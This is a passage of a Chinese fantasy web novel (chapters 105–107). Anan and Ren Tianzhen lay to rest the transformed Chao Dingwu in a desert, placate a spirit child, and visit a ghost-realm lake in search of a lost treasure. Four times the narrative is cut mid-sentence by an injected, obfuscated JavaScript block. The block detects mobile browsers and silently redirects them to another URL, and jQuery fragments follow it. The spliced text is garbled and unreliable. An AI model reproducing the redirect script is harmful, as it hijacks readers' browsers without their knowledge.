“死去的人虽然可怜,但身为一个父亲,我不想再一次为了保全他人而牺牲自己的儿子。我现在就想自私一回,哪怕因此背上一身杀孽,死后永世不得超生我也认了!” 看着已经下定决心神色坚毅的卫靖,阿难没有再劝他,叹着气道:“你毕竟是一个父亲,你的选择我虽然不敢苟同,但也可以理解。” “明光,你走吧。你这些年也不容易,我不想跟你过不去。当年那些关于你暗中勾结鬼王图谋不轨的所谓说辞,我其实并不信。但我也不能出面替你说话,毕竟我自己还有小辫子怕被人抓呢,当然不能和你一起站上风口浪尖。” “我懂,而且你也没有义务帮我,只是作壁上观不落井下石,就已经很感激了。武佑真君,走之前我想拜托你一件事,能不能让你家宝宝把用晁定武尸身炼成的手指蘑菇放出来?” 大概了解了一下情况后,卫靖对阿难说: “宝宝的那些尸花尸果尸蘑菇,都是用死人的嘴唇、眼珠和手指炼制的,他其实也不清楚哪朵花哪颗果或哪朵蘑菇具体属于哪个人了。” “没事,那就请他把所有的手指蘑菇都放出来,我们应该能够从中召唤出晁定武。” . 子夜的月光下,平静的黄沙突然像锅煮沸的水一样翻涌起来,无数手指蘑菇从地下纷纷钻出,像是无数死人从地下伸出苍白的五指。 “晁定武,我们是受阴有苓之托过来找你的,你听见了的话就到我面前来吧。” 阿难大声将这番话喊了三遍后,一朵手指蘑菇越过其他呆头呆脑的同类,排众而出来到他面前。 任天真情不自禁地蹲下来,眼睛定定地注视着这朵形状可怖的蘑菇,脑子里回想着阴有苓给她看过的那幅英豪男儿的画像,心情复杂到无法形容。 “晁定武,我是阿难,她是任天真,我们都是阴有苓的朋友。她一直在找你,我们也在帮她找你。这趟来瀚海沙漠,就是得知你最后出现的地方在这儿,所以特意找来的。” 手指蘑菇再一次在黄沙上写字。 “有苓她怎么样?师父他老人家好吗?无极宗一切都好吗?” 任天真回答道:“阴姐姐很好,你师父已经仙逝,如今无极宗由阴姐姐担任宗主。她可是修真界头一位女宗主呢,可威风了。” 手指蘑菇僵了片刻后才重新动起来。 “师父已经仙逝了?我也已经死了好几年,只是有苓并不知道。她要是知道了,一定很伤心。” 阿难问:“抓走你的人是不是魅鬼朱颜悔?” “就是她。第一次见到她时,我误以为她是一个遭人欺凌的弱女子,好心出手相救。当时她说救命之恩愿以身相许,被我再三婉拒。再次见到她就是婚礼那天,她威胁我如果不按她说的办,她就要血洗无极宗,我别无选择只能照办,然后就被她带来这里客死异乡了。” 任天真扭头看着精魅宝宝问:“宝宝,你是怎么认识那个穿红衣服的魅鬼姐姐的?” 精魅宝宝神色警惕地瞪着她道:“你是坏人,想消灭我,我才不告诉你呢,哼!” 卫靖倒是可以替他们答疑解惑。 “我听宝宝说过,有个穿红衣服像是同类的女人曾在幽灵绿洲出现过两次。朱颜悔应该是发现了绿洲里的植物都是尸身所化,且为宝宝所操控,所以也想让晁定武死在这里,从正道修士沦为魑魅魍魉。” 手指蘑菇也写下一行字道:“朱颜悔说,这就是我拒绝她的后果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422806|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 任天真忍不住想发飚骂人。 “朱颜悔这个万恶的毒妇,晁定武好心出手救她,结果却是好人没好报,被她害得这么惨,连累阴姐姐也跟着惨,真是捶死她一百遍都难消我心头之恨。” “拜托你们一件事,把我的死讯带给有苓时,帮我劝劝她别太难过了。” 阿难叹气道:“这个没法劝啊!她怎么可能不难过呢?” “她可以为我难过一阵子,但不能难过一辈子。活着的人应该好好活着,我不希望她在伤心难过中了此一生。告诉她,我的心愿就是她能放下我重新开始,过上幸福快乐的生活。” 任天真建议道:“要不我们带你回无极宗,你自己跟她说吧?” “我回不去了。精魅炼制的尸怪和它是共生关系,离开它就是死亡。不过,我一直在渴望这样的死亡,你们可以帮我吧?” 阿难与任天真对视了一眼,两个人的目光中,都蕴满了同样的悲凉与无奈。 这趟瀚海沙漠之行,虽然他们帮阴有苓找到了晁定落的下落,却再也见不到那个英豪男儿。 就连这个已经面目全非的小怪物手指蘑菇,也不能带回去与她笔谈一番。 “请你们杀了我吧,我现在这副鬼样子,其实也不愿意见到有苓。我希望在她的记忆中,永远都是大师兄的模样。” 阿难没有再犹豫,“好,我来帮你。” 任天真在一旁难过地问:“你还有什么话要告诉阴姐姐吗?” 手指蘑菇迟疑良久后,缓缓写下一行字。 “不说了,说得越多,她只会越难过,就这样吧!如果来生有缘相逢,我再好好说给她听。” 任天真看得眼圈泛红,眸子里蒙上了一层薄薄的水雾,再一次把朱颜悔恨得咬牙切齿。 ——都怪这个狠毒的魅鬼,阴姐姐和晁大哥这么好的一对有情人,却被她害得这么惨。这个仇如果阴姐姐报不了,我一定会出手替他们报的。 一纸驱邪符打在手指蘑菇上,它迅速化作一滩血水消失了。晁定武其人,也在人世间彻底消失了。 . 属于晁定武的手指蘑菇被消灭后,精魅娃娃突然愤怒又凶狠地咆哮起来,活像被人踩了一脚的老虎崽子。 “坏人,敢毁我的小蘑菇,我要打死你们。” “宝宝,别这样。” 卫靖虽然有心要劝阻,但精魅娃娃是小孩子心性,气头上只会不管不顾地撒野。 他两条原本白嫩嫩的小胳膊,瞬间像充气似的迅速膨胀成庞然巨物,一双手宛如巨灵之掌,朝着阿难和任天真劈头盖脸抽过去。 “真真,分开走,他只有一个人,没法同时追咱们俩。” 阿难和任天真分头行动,一个向东狂跑,一个向西飞奔,有心想让精魅娃娃顾此失彼。 没想到这宝宝虽然不能分身,却再一次“四分五裂”——又把自己从完整状态拆分为几个身体部位。 105.有段话 精魅娃娃一双庞然巨物的胳膊紧跟在阿难身后,两只巨掌轮流想要捏死他。 另一双庞然巨物的腿在任天真身后穷追不舍,两只巨足轮流想要踩死她。 无论巨掌还是巨足,都带着极具破坏性的巨大力量,搅得天昏地暗,飞沙走石,仿佛是一场沙尘暴降临。 精魅娃娃那颗圆圆的小脑袋瓜则飞得老高,居高临下地同时关注着两边的情况。 “你们毁了我的小蘑菇,我要把你们也变成小蘑菇。哼,一个也别想跑。” 战斗力爆棚的精魅娃娃同步追击阿难和任天真的时候,满地密密麻麻的手指蘑菇也没闲着。 它们宛如海浪般涌向主人攻击的对象,伸长五爪想要抓住二人拖入地底。 地面上没法落脚,阿难和任天真只能一直飞来飞去。 平时这么飞并不难,但同时还要应对精魅娃娃巨掌与巨足的强势进攻,坚持不了多久就开始力有不逮。 任天真暗中叫苦:这宝宝太难对付了!他把自己拆分成好几块,我想试着用藕丝帕来困住他都不行。 精魅娃娃法力高强,任天真就算出动法宝藕丝帕,也未必能够困住他。 藕丝帕虽然不惧刀剑坚韧无比,但如果被他无比霸蛮地用法力震成碎片,她也会因为本体法宝被毁遭到不小的反噬。 思来想去任天真暗咬银牙:实在不行只能拼了!精魅娃娃想把我变成蘑菇可没那么容易,就算锤不死他也要让他吃足苦头不可。 . 飞过一座高高的沙丘时,阿难突然急坠而下,消失在沙丘后面。 一直追着他不放的巨灵之掌顺势拍下去,直接把沙丘从立体拍成平面模式。 沙丘不复存在了,落在沙丘后面的阿难也消失不见了。 取而代之的,是一个七八岁左右的垂髫童子——那是阿难给藤老祖当手下时的鱼仔模样。 “宝宝,宝宝你快来,我们一起玩啊!” 精魅娃娃原本气嘟嘟地想要打死毁他蘑菇的坏人,可是坏人之一忽然不见了,沙漠里却多出一个年纪相仿的男童,没来由地就让他心生亲近感。 小孩子见到小孩子时,多半都会有这样的感觉。 阿难成功地转移了精魅娃娃的注意力,他顿时就把自己要打死坏人的事抛之脑后。 拆分的身体部位迅速重组,又恢复为虎头虎脑的小男孩外形,兴冲冲地跑到“鱼仔”面前。 “你是谁呀?怎么知道我叫宝宝?” “我是仔仔,你是卫将军家的宝宝,没错吧?” “没错,我爹爹就在那儿。” 精魅娃娃顺手指了一下卫靖所在的方向,这位武神虽然并不清楚鱼仔是阿难的另一年龄形态,但是这种情况也不难猜出来。 刚才精魅娃娃大发雷霆地追着阿难他们打时,卫靖站在原地左右为难。 如果他试图阻止,就不可避免地要和儿子起正面冲突,想要毫发无伤地拦下他绝不可能。但如果不阻止,阿难和任天真恐怕就跑不掉了。 虽然卫靖并不想跟阿难过不去,但是更不愿意伤害自己的儿子。 还在踌躇着呢,情况却来了一个大转变,阿难居然想到用变成小孩子的方式搞定暴怒中的宝宝。 以前的灵曜天君明光,是武力值惊人的武神,对付妖魔鬼怪时向来都是直接亮剑,强势碾压吊打对方。 因为拥有绝对的实力,所以不需要搞什么智取。 如今的阿难搞智取似乎很有一套。 在失去了绝对实力后,一旦遇上强敌,无法力敌的他也就只能设法智取,否则一介小妖要如何生存下来呢? 过去的三百年,明光是怎么变成了阿难的,卫靖并不清楚他的具体经历。但是从这种两极分化式的转变中,也不难窥见一斑。 . 仔仔陪着宝宝在沙漠上玩起了追逐的游戏。两个孩子你追我赶,玩得非常开心,清脆的笑声在夜空下四处飘荡。 卫靖站在不远处,默默地注视着这一切,脸上的神色感慨万千。 依稀仿佛间,他像是回到了当年儿子还没有出事的时候,看着小男孩骑着竹马四处跑啊笑啊,自己也情不自禁的微笑。 几百年前的陈年旧事,想不到还有重回眼前的时刻。 任天真走到卫靖身边,问得直截了当:“武佑真君,当年灵曜天君的事,你能跟我细说一下吗?” “没什么可细说的,我知道的也有限,无非就是你们听说的那些官面说辞。” “那你怎么认定灵曜天君遭贬下凡时,华源真君是故意开的畜生道?” “当年帝君钦点华源君真去办这个差事时,云间仙境的仙官们都赌他一定会开畜生道,而他也果然不负众望地手滑开错了。姑娘,你觉得这会是巧合吗?” “可是华源真君为什么要这么做?他和灵曜天君师出同门,关系理应比其他仙官更亲近,没理由要害他变成畜生吧?” 任天真觉得这说不通,卫靖给了她一个“你太傻太天真”的眼神。 “姑娘,有段话你一定没听过吧——凡争产者,必同父之子;凡争宠者,必同夫之妻;凡争权者,必同官之士;凡争利者,必同市之贾。势近则相碍,相碍则相轧。” 任天真不难听懂这番话的意思,脸色一白。 “你的意思是,正因为他们师出同门,所以关系反倒容易失和?” “同是无极宗出身,越君朴虽然比明光飞升更早,但他却后者居上压过他一头,成为云间仙境一人之下万人之上的灵曜天君。如果他心眼小器量不够,讨厌明光就成了再正常不过的事。” 卫靖虽然用的是假设语气,但声音里却不无鄙夷。 能让不少仙官们都预判出越君朴开畜生道的行为,可见他讨厌明光的事已经众所周知,所谓的手滑开错就只能是落井下石。 任天真咬着下唇不再吭声,一双原本亮若星辰的眼睛变得黯淡无光,弥漫着一种深秋黄昏似的萧索和灰败。 . 阿难陪着精魅娃娃玩了大半个时辰后,一道大鹏展翅般的黑色身影从墨蓝夜空中徐徐落下,那是被他利用传音飞符请来的外援应长恨。 阿难和精魅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447753|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娃娃一个在前头跑,一个在后头追地玩着游戏。应长恨落在他身前,问道:“你怎么又变成小孩了?” “因为卖萌可以保命啊!” “我猜就是这样。” 一看阿难又变成了小孩,应长恨就知道这波操作肯定是为了保命。 每次不能力敌只能智取的时候,这家伙总能放得下身段进行各种骚操作。别说变小孩,扮女人都在行。 自带气场的鬼王一亮相,精魅娃娃就感觉到了不对,他警惕地顿住脚步,浑身蓄足法力随时准备应战。 阿难安慰道:“宝宝你别怕,他是我兄弟。” 精魅娃娃神色一松,眨巴着眼睛问:“他来接你回家吗?” “是啊,天快亮了,我也该回家了。” 天亮后,精魅娃娃也要躲进黄沙之下,他很是依依不舍地问阿难。 “那你明晚还能来跟我玩吗?” “恐怕不能,我家在很远的南方,回去后就不能再来沙漠找你玩了。” “我好不容易才遇上一个能一起玩的小伙伴,你怎么这么快就要走,不回家不行吗?我好舍不得你呀!” 精魅娃娃说着说着嘴一扁,哇哇大哭起来。法力再高强,他的心性也还是一个小孩子。 “宝宝不哭,爹爹抱。” 卫靖过来抱起儿子,走到一旁耐心地哄娃。应长恨不难看出这对父子的蹊跷之处,低声问起了阿难。 “是我眼力不行看错了,还是这对父子确实一个是神仙一个是邪祟?” “你没看错,就是这样。” “还真是啊!到底怎么回事?神仙老爹怎么会有邪祟儿子?” “这个说来话长,回头再跟你细说吧!” 应长恨点点头不再追问,扭头瞥见了呆立一旁神色惨淡的任天真,又心生不解。 “真真姑娘怎么了?好像一副深受打击的样子,谁欺负她了吗?可她也不是好欺负的人啊!” “没谁欺负她,她就是有些心情欠佳,让她一个人静静吧,咱们别过去打扰。” 东方天际微微亮起一线鱼肚白,漫长的一夜即将过去,崭新的一天即将降临。 “宝宝别哭了,快躲回地下去,否则就要难受了。” 精魅娃娃一边哭一边沉入黄沙之下,很快就只剩一个小脑袋瓜露在外面,还眼巴巴地看着阿难喊了一句。 “仔仔,你几时再来沙漠记得找我玩啊!” 阿难无声地叹了一口气,就算他以后还会再来瀚海沙漠,恐怕也见不到精魅娃娃了。 卫靖暗中纵容精魅儿子在瀚海沙漠作祟害人,此事一旦上达天听,按惯例天界就会派武神下凡讨伐,把父子俩一起收拾了。 精魅娃娃消失于黄沙之下后,卫靖朝阿难招了招手,把他叫到一旁单独交谈。 “那位黑衣青年就是新任鬼王应长恨吗?” “没错,就是他。” “你还真和应长恨交情匪浅啊!你有没有想过,这事如果传出去,只会让人觉得你怎么又跟新鬼王勾结上了,分明就是贼心不死还想作乱。” 106.有感而发 听了卫靖的话,阿难淡淡一笑道:“别人爱怎么想就怎么想吧,反正就算我不认识应长恨,跟江天旷的那一页也翻不过去,照样大把人认定我当年暗中勾结鬼王犯上作乱。” “当年到底怎么回事?如果不是你把令牌给了江天旷,又暗中为他指路帝君闭关的宸极洞所在,那就是另外有人引狼入室还栽赃于你,这个人是谁你心里有数吗?” “前阵子郦子微来找我,也问了同样的问题。” 阿难把那晚他和郦子微的对话大概说了一下,卫靖听得冷笑不已。 “这么听起来,檀豫确实嫌疑很大。他外表看上去虽然是一个慈眉善目的老神仙,但动起歪脑筋来却是很有一套的。” 阿难感觉敏锐地问:“你这么说似乎是有感而发?” “我无意中得知了檀豫做过的一件事,十分不齿此人行径。如果你想知道的话,我可以告诉你。” “那我就洗耳恭听了。” . 阿难和卫靖在一起窃窃私语时,应长恨百无聊赖地独立一旁,看着东方天际一点点亮起来。 身后忽然传来轻盈的脚步声,伴随着一缕清馥的莲花幽香,他不用回头也知道来者何人。 “真真姑娘,听说你心情不好,现在没事了吧?” 任天真看着应长恨勉强一笑,“没事。阿难哥哥的事,你知道吗?” “他有什么事?” 看着应长恨一脸莫名其妙的神色,任天真便清楚他对于阿难的真实身份同样一无所知。 她也没有直接说破,有些事不该由她说,便故意换了话题。 “对了,你如今可是鬼王了,我该怎么称呼你才好呢?” “真真姑娘,你我也算患难之交,私底下照样叫我阿难就行了。” 应长恨没有半点要摆鬼王架子的意思,任天真很是欣赏地点头道:“够义气,我当初没白交你这个朋友。” “当初我和阿难落魄时,真真姑娘没有看不起我们,我现在自然也不会在你面前抖什么鬼王威风。” “阿难弟弟,你和阿难哥哥都很好,我一见就觉得投缘。” 初见时法力低微的一妖一鬼,被人追杀得要靠假扮女人逃亡,没想到现在一个成了鬼王,另一个竟是昔日的天君。 任天真当时无论如何也想不到,这二人原来是如此的不简单。 而她也终于明白了,为什么阿难能混入云间仙境盗取仙丹,所谓的仙鲤一说不过是托辞罢了。 当年明光从畜生道下凡后,就沦为鳞介动物中的鲤鱼。 难怪他被贬下凡后人间一直没有他的半点消息,因为他从人变成了畜生,想要重新修成人形要熬上几百年才行。 任天真还后知后觉地回想起来,之前自己与阿难的一段对话。 “阿难哥哥,我觉得你就挺像完人的,你应该从来没有过什么阴暗想法吧?” “如果我告诉你,有段时间我满脑子都在想着怎么毁天灭地搞垮全世界,你信吗?” 当时任天真还以为阿难只是在跟自己开玩笑,此时此刻方才明了,这并非玩笑话,而是他这三百年来跌宕起伏的心路历程吧? 越君朴那一手开“错”畜生道,让遭到贬谪的明光惨上加惨,使出这种阴招落井下石,实非正人君子所为。 一念至此,任天真无法不银牙暗咬。 “阿难弟弟,我有急事要先走一步,你回头帮我跟阿难哥哥说一声吧!” “哦,有什么需要我帮忙的吗?” “不用,一点私事,我自己能搞定。” . 任天真裙袂翩飞的袅娜身影,如同一只美人风筝般,很快在晨曦渐明的天空中飘远了。 应长恨一边目送一边心想:她刚才问我知不知道阿难哥哥的事,到底是什么事呢?那个仙官为什么跟他说得没完没了?他们哪来那么多话说? 虽然阿难曾经是云间仙境的仙鲤,但一条仙鲤跟一位仙官可无法相提并论,二者之间不可能有什么交情,也就应该没什么可聊的呀? 应长恨不解又耐心地等了很久后,阿难和卫靖漫长的交谈终于结束了。 卫靖身形一晃便瞬间消失在漫漫黄沙中,阿难则走回他身边。 “聊什么聊了这么久?你跟那位仙官很熟吗?” “其实并不熟,这两天才认识的。他就是镇守西凉一带的武神——武佑真君卫靖。” 应长恨面露愕然,“什么?他居然是武神?怎么看起来一点都不像是能打的主儿?” “因为人家为了儿子操碎了心啊!” “对了,他一个仙官怎么会有一个邪祟儿子?现在可以告诉我了吗?” “不可以,先回西凉城。我要去好好洗个澡换身衣裳,再吃上一顿美味的大餐,具体情况到时候咱们边吃边聊。对了,真真一个人跑去哪儿了?” 阿难刚才虽然在和卫靖单独谈话,一双眼睛却眼观八方,注意到了任天真的独自离去。 “她说有急事要先走一步,让我给你说一声。” 阿难差不多能猜出任天真的急事是什么事,她一定是想找到越君朴当面求证一切。 . 西凉城。 已经彻底洗去一身风沙的阿难,和应长恨面对面地坐在一家酒楼里,大快朵颐地享用着一桌美味佳肴。 一边吃,他一边把这段时间在瀚海沙漠的经历徐徐道来。应长恨听得都有些唏嘘不已。 “我说神仙老爹怎么会有一个邪祟儿子,敢情是这么回事。那孩子说起来也确实挺可怜的,难怪当爹的不忍心再杀他一次,尤其是还得亲手杀。” “为了保护自己的儿子,卫靖决定不再回云间仙境。他要留在瀚海沙漠,和宝宝一起对付日后前来讨伐的武神。” “他这算是叛出天界了,有史以来还没有哪位仙官这么做过吧?” “据我所知从未有过,好不容易飞升成仙,谁会舍得放着神仙不做,下凡和邪祟为伍等着被诛呢?也只有做父亲的才会甘心为儿子这样牺牲。” “因为他当年不得已放弃过儿子一回,所以这次哪怕是冒天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465406|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下之大不韪,也要选择和精魅儿子站一边,哪怕结果是一起被消灭。” 感慨了一番后,应长恨有些不解地问: “你和卫靖又不熟,还暴露了他暗中纵容精魅儿子在沙漠作祟害人的事。他不弄死你就算好了,为什么还把你当成自己人一样无话不说?” “因为同是天涯沦落人——他说我这些年也不容易,就不为难我了。” “你从仙鲤变成妖鲤,落差是挺大的,卫靖看来是同情你了。” 应长恨自以为了解,阿难也没有解释个中缘故——“其实我就是当年救你的那个明光”,这话听起来难免带几分邀功讨赏的味道。 “阿难弟弟,前几天我就给你发了传讯飞符,你怎么来得这么慢?要不是我自救成功,你现在只能替我收尸了。” “我一收到你的传讯飞符就立马赶来了。只是路程太远,瀚海沙漠又太大,我昨天进入沙漠后四处奔走寻找你们,却一直找不到,都快急死了!” “是哦,如果地方太大就很不好找人。回头我得琢磨一下,想办法弄一个能让咱们即时交流的法器。” 吃饱喝足后,阿难和应长恨一起离开了西凉城。 他驱动飞鸟符,很快就飞到了海中洲的太平岛,无极宗仙府摩宵宫所在地。 . 摩宵宫中,阴有苓正握着那本《拏云道书》刻苦钻研。想要重振无极宗,她就必须学好这部传世秘典。 对于阿难的这趟沙漠之行,阴有苓其实并没抱什么希望。 毕竟晁定武还是在失踪那一年被人看到出现在瀚海沙漠,没准早就离开了那里。 “阿难,你回来了,在那边有打听到师兄的下落吗?” “有,我和真真找到他了。” 意想不到地一愣后,阴有苓霍然立起,失声问道:“真的?你们真的找到了师兄了?” “嗯,我们找到他了,但是我们没法把他带回来见你。” 阿难从袖里掏出一个小木盒,盒子里装着一捧被鲜血泅透的黄沙。 那是手指蘑菇版的晁定武,化作血水后留在人间的唯一痕迹——曾经昂藏七尺的英豪男儿,以这种形式重归故里,回到了阴有苓身边。 “阴有苓,你先坐下来,听我慢慢跟你说。” . 阿难跟阴有苓讲述有关晁定武的种种时,应长恨独自等在摩宵宫外。 一来此事与他无关,不需要他在场帮忙讲解或说明什么;二来他不愿意目睹阴有苓因此伤心难过的一幕。 应长恨没有等上太久,阿难就走了出来,倒是让他有些意外。 “你怎么就出来了?” “我已经把一切都告诉了阴有苓,她说想一个人静一静,我总不能赖着不走吧?” 应长恨满脸关心地问道:“那她怎么样?” “还挺冷静的,至少在我面前是这样。” 阿难的话音未落,一阵悲恸欲绝的哭声就从摩宵宫里传出来。一声更比一声大,越来越高亢,越来越凄怆,带着撕心裂肺般的痛苦。 107.想不通 那哭声像刀锋般刮在耳膜上,几乎能够刮下一丝丝血肉,让阿难和应长恨都感觉到了疼。 “你……要不要再进去劝劝她?” 对于应长恨满脸不忍的建议,阿难缓缓摇头道:“不用,就让她痛哭一场吧!哭出来人会好受一点。” “朱颜悔这件事真是做得太缺德了!阴有苓并没有得罪过她,晁定武甚至还好心帮过她,她却因为嫉妒一对有情人就把他们害得这么惨。要是被厉无情知道了,肯定不会放过她的。她现在要不是我手下,我都很乐意帮阴有苓报这个仇。” “阴有苓刚才说了,这件事先不要让厉无情知道。她自己的仇,她自己会报,不想假他人之手。” “可阴有苓现在还不是朱颜悔的对手。她不会一时冲动,干出以卵击石的蠢事吧?” “不会的。她是想报仇,不是想送死,如果没有十足的把握,绝对不会贸然行事。反正君子报仇十年不晚,不必急于一时了。” . 黄泉之下,无间鬼域。 这个恶鬼扎堆的地方,一般情况下连神仙都不会轻易擅入。 因为鬼气太浓需要时刻防御,要是不小心被鬼气侵袭入体,弄不好就要从仙变鬼了。 身为仙鲤的阿难,却以参观的名义跟着应长恨来到了无间鬼域的中心幽都,成为鬼王在幽府接待的第一位贵客。 坐在幽府气派非凡的正堂上,他一边喝着茶,一边满眼好奇地东张西望。 “无间鬼域的鬼王府邸,我闻名已久,想不到还有机会到此一游。不错不错,真心气派呀!” 应长恨神色关切地打量着他,询问道:“怎么样?鬼气有没有对你造成什么影响?” “没有了,我有仙元护体,全力防御时能扛得住鬼气侵袭。除非有哪位牛鬼跟我动手,让我顾此失彼,否则就不会有事的。” “这里是我的地盘,你又是我的贵客,没有谁敢跟你动手,那样就是自寻死路。” “那不就妥了,所以你不用担心我了,快带我四处参观一下吧!” 应长恨带着阿难在幽府四处转悠了一番后,他又兴致勃勃地道:“冥湖在哪儿?我也想去看一看。” 无间鬼域最有名的两个地方,一个是幽府,另一个就是冥湖。 阿难以参观者的名义来到这儿,提出这样的要求合情合理。 应长恨没觉得有什么问题,只是忍不住又问道:“冥湖是鬼气最浓的地方,你的仙元护体能不能扛住啊?” “阿难弟弟,你就放一百个心吧,我这人一向惜命,要是扛不住我才不会去送死呢!” . 九幽之地,冥湖。 幽黑一片的地底深处,湖水呈现出红蓝二色的神奇冥湖,就像是打翻了色彩盘的巨幅图画。 而且这幅画还是活的,红色与蓝色的湖水,一直在须臾不停地交错流动着。 走到距离湖畔三丈之遥的地方,应长恨就停下脚步,伸出一只胳膊拦下身旁的阿难。 “行了,这里就是安全距离,再往前走就不安全了。” “为什么?不是还有三丈远吗?” “这个湖很邪门的,如果察觉到有活物靠近,湖水就会像海水那样突然惊涛拍岸,被拍中了不是瞬间冻成冰雕,就是烧成焦炭。你应该不想落个如此悲惨的下场吧?” “那是自然,我还没活腻味呢!” 一边伸长脖子朝着冥湖张望,阿难一边问了应长恨一个问题。 “你在无间鬼域这些年来,有没有听说谁曾经下过冥湖?” 应长恨闻所未闻地一扬剑眉,“怎么可能?冥湖可是死地,靠近就是送死。无间鬼域的鬼都会跟这座湖保持绝对安全的距离。” “如果湖底藏着一件法宝,有没有什么办法能把它捞出来?” 阿难的问题,听得应长恨心里一动,直言不讳地反问道:“你怎么会这么问?难道湖底真有什么法宝不成?” “我最近听说了一件事,当年皓宸帝君率军征伐无间鬼域时,他的法宝移魂枕落入了冥湖之中。” “那可是两千多年前的陈年旧事,之前都无人知晓有这么一回事,你又是从哪里听说来的?” “弘文真君郦子微告诉我的。” “他为什么要告诉你这个秘密?是不是他知道了你和我有交情,就想利用你来无间鬼域寻回这件失落多年的天界法宝?” 应长恨也不是蠢人,一下子就想到了关键所在。 “郦子微不过是奉令行事,派他来找我的人,是那位‘紫衡帝君’。” 应长恨满脸不屑地哼了一声。 “原来是那个死蛇精啊!他为什么突然要找上任帝君的法宝,也不知又在憋着什么坏呢?” “玉京子一定有他的目的所在,只是咱们不清楚罢了。” 应长恨不无纳闷地道:“可是那蛇精怎么会知道你我之间有着过命的交情呢?” 若不是跟鬼王交情匪浅,阿难根本不可能有机会来无间鬼域寻回移魂枕。 恐怕还没下到九幽之地的冥湖,就已经被万鬼吞噬得一干二净。 “这一点我也想不通。总之他肯定很清楚这一点,否则也不会打发郦子微来找我交代这件事了。” “他是不是答应只要你寻回移魂枕,就不追究你撞坏云海神舟私逃下凡一事,允许你重归天界?” 应长恨根据阿难的仙鲤身份做出推断,他模棱两可地点头道:“差不多是这样。” “紫衡帝君”指点阿难去找移魂枕,并没有流露出自己想要得到法宝的意思。 但如果阿难拿着法宝去求他帮忙移魂离体,他就能顺理成章地把东西收走。理由也是现成的,此乃天界宝物理应物归原主。 “那你打算怎么办?” 阿难很干脆地笑道:“玉京子想利用我,门都没有。就算能捞到移魂枕,我也不会送去便宜他,自己留着这个宝贝多好,对吧?” 应长恨深以为然地点头道:“对,该死的蛇精想要这个法宝,做梦去吧!” 阿难和应长恨一致认同,绝不能让玉京子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14479814|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如愿以偿地得到移魂枕。 这个已经沉在冥湖湖底两千多年的法宝,虽然不知为何能让这位冒名顶替的“帝君”旧事重提,但他肯定暗藏祸心。 玉京子到底想用移魂枕干吗尚不清楚,不过对于阿难来说,移魂枕眼下是他收回仙剑日月明的关键之物。就算困难重重,好歹也要试上一试。 “阿难弟弟,玉京子既然会指点我来冥湖寻宝,或许是通过你能达到目的。要不你回头找人打听一下,看是不是有什么法子能下到冥湖捞东西?” “行,玉京子想打这个法宝的主意,我偏不让他如意。捞不到也就算了,捞到了就直接扣下来归咱们所有,让他只有干瞪眼的份儿。” . 重新回到幽府后,应长恨把厉无情和朱颜悔都召来。 这两位在无间鬼域呆的时间比他更久,听说的事情自然也就比他更多,或许对冥湖会有更多了解。 按照应长恨的吩咐,厉无情和朱颜悔最近都在无间鬼域负责组织与操练鬼军。 想要杀上云间仙境在神仙的主场作战,没有一支战斗力惊人的鬼军是不可能的。 作为鬼王的左膀右臂,他们被封为左将军和右将军。 百忙之中被鬼王召去幽府,厉无情和朱颜悔都以为他有什么要事,没想到问的却是与冥湖有关的问题。 “你们听说过什么关于冥湖的传说吗?” 在无间鬼域,冥湖的传说有不少。 在流传最广的一种说法中,冥湖乃是地狱的化身,集炽热严寒于一体,无差别吞噬所有生灵。堕入此湖者,永世不得超生。 厉无情与朱颜悔说的都是此类传说,应长恨以前也听说过,并不是他想要的信息,干脆直接问重点。 “以前有没有哪位鬼王曾经下过冥湖却平安归来的?” 朱颜悔吃了一惊,“什么?这不可能,我从未听说过有这种事,厉将军你呢?” 厉无情也同样闻所未闻,“我也没有,不知鬼王为何会这么问?” “据说冥湖湖底藏着一件宝贝,如果想打捞出来,也只有鬼王才有实力一试吧?” 朱颜悔道:“还有这种事?消息可信吗?” “我也不知道可信不可信,所以找你们来共同参讨一番。” 玉京子这个蛇精阴险又狡滑,他说的话自然不可尽信。 